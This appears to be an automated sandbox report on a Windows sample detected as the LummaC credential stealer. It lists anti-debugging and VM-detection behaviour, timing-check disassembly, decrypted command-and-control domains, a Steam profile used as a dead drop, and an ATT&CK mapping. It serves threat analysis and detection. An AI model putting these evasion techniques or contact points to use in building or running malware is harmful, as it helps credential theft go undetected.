Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B36B second address: C8B3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 sbb dx, 701Eh 0x0000000c push 00000004h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FE589802EF8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 sub dword ptr [ebp+1245938Fh], ebx 0x0000002e push 137D634Dh 0x00000033 push esi 0x00000034 jc 00007FE589802EFCh 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B623 second address: C8B628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B628 second address: C8B676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007FE589802EF6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jg 00007FE589802EFAh 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FE589802EF8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 push dword ptr [ebp+122D1D35h] 0x0000003a xor dx, E46Eh 0x0000003f push 84FE8C25h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 push ecx 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CF77 second address: C8CF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 ja 00007FE58927655Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CF92 second address: C8CF96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CAF2 second address: C8CAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E9BA second address: C8E9C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E9C0 second address: C8E9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E9CC second address: C8E9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460D1D second address: 5460D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460D21 second address: 5460D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460D27 second address: 5460D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE589276562h 0x00000009 or si, 23B8h 0x0000000e jmp 00007FE58927655Bh 0x00000013 popfd 0x00000014 mov dx, si 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [eax+00000860h] 0x00000020 jmp 00007FE589276562h 0x00000025 test eax, eax 0x00000027 jmp 00007FE589276560h 0x0000002c je 00007FE5F9A0C537h 0x00000032 jmp 00007FE589276560h 0x00000037 test byte ptr [eax+04h], 00000005h 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e movzx ecx, dx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480338 second address: 548033C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B93117 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBACBA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9E3D60 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C24A88 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6104

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe

Last function: Thread delayed

Source: file.exe, file.exe, 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2059024144.0000000001569000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.2059024144.000000000155C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: file.exe, 00000000.00000002.2059024144.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009C00D0 LdrInitializeThunk,

0_2_009C00D0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: licendfilteo.site
Source: file.exe	String found in binary or memory: clearancek.site
Source: file.exe	String found in binary or memory: bathdoomgaz.stor
Source: file.exe	String found in binary or memory: spirittunek.stor
Source: file.exe	String found in binary or memory: dissapoiznw.stor
Source: file.exe	String found in binary or memory: studennotediw.stor
Source: file.exe	String found in binary or memory: mobbipenju.stor
Source: file.exe	String found in binary or memory: eaglepawnoy.stor

Source: file.exe, 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	24 Virtualization/Sandbox Evasion	OS Credential Dumping	641 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Process Injection	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	223 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
steamcommunity.com	0%	Virustotal	Browse
sergei-esenin.com	18%	Virustotal	Browse
eaglepawnoy.store	19%	Virustotal	Browse
licendfilteo.site	16%	Virustotal	Browse
studennotediw.store	18%	Virustotal	Browse
spirittunek.store	22%	Virustotal	Browse
bathdoomgaz.store	22%	Virustotal	Browse
dissapoiznw.store	22%	Virustotal	Browse
mobbipenju.store	22%	Virustotal	Browse
clearancek.site	18%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://avatars.akamai.steamstatic	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	0%	URL Reputation	safe
https://help.steampowered.com/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	0%	Virustotal		Browse
https://www.youtube.com	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
studennotediw.store	18%	Virustotal		Browse
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=hgPi	0%	Virustotal		Browse
https://sergei-esenin.com:443/apifiles/76561199724331900	9%	Virustotal		Browse
eaglepawnoy.store	19%	Virustotal		Browse
dissapoiznw.store	22%	Virustotal		Browse
https://sketchfab.com	0%	Virustotal		Browse
https://eaglepawnoy.store:443/api	22%	Virustotal		Browse
https://www.cloudflare.com/5xx-error-landing	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=2Ih2WOq7ErXY&a	0%	Virustotal		Browse
https://sergei-esenin.com:443/api	19%	Virustotal		Browse
https://www.google.com/recaptcha/	0%	Virustotal		Browse
https://steamcommunity.com/market/	0%	Virustotal		Browse
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	0%	Virustotal		Browse
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Virustotal		Browse
https://www.youtube.com/	0%	Virustotal		Browse
https://steamcommunity.com/discussions/	0%	Virustotal		Browse
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	0%	Virustotal		Browse
bathdoomgaz.store	22%	Virustotal		Browse
https://steamcommunity.com/my/wishlist/	0%	Virustotal		Browse
https://clearancek.site:443/api	20%	Virustotal		Browse
clearancek.site	18%	Virustotal		Browse
spirittunek.store	22%	Virustotal		Browse
https://steamcommunity.com/workshop/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
sergei-esenin.com	172.67.206.204	true	true	18%, Virustotal, Browse	unknown
eaglepawnoy.store	unknown	unknown	true	19%, Virustotal, Browse	unknown
bathdoomgaz.store	unknown	unknown	true	22%, Virustotal, Browse	unknown
spirittunek.store	unknown	unknown	true	22%, Virustotal, Browse	unknown
licendfilteo.site	unknown	unknown	true	16%, Virustotal, Browse	unknown
studennotediw.store	unknown	unknown	true	18%, Virustotal, Browse	unknown
mobbipenju.store	unknown	unknown	true	22%, Virustotal, Browse	unknown
clearancek.site	unknown	unknown	true	18%, Virustotal, Browse	unknown
dissapoiznw.store	unknown	unknown	true	22%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
studennotediw.store	true	18%, Virustotal, Browse	unknown
dissapoiznw.store	true	22%, Virustotal, Browse	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
eaglepawnoy.store	true	19%, Virustotal, Browse	unknown
bathdoomgaz.store	true	22%, Virustotal, Browse	unknown
clearancek.site	true	18%, Virustotal, Browse	unknown
spirittunek.store	true	22%, Virustotal, Browse	unknown
licendfilteo.site	true		unknown
mobbipenju.store	true		unknown
https://sergei-esenin.com/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.1801841319.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801780211.00000000015DC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://player.vimeo.com	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://licendfilteo.site:443/apiq	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
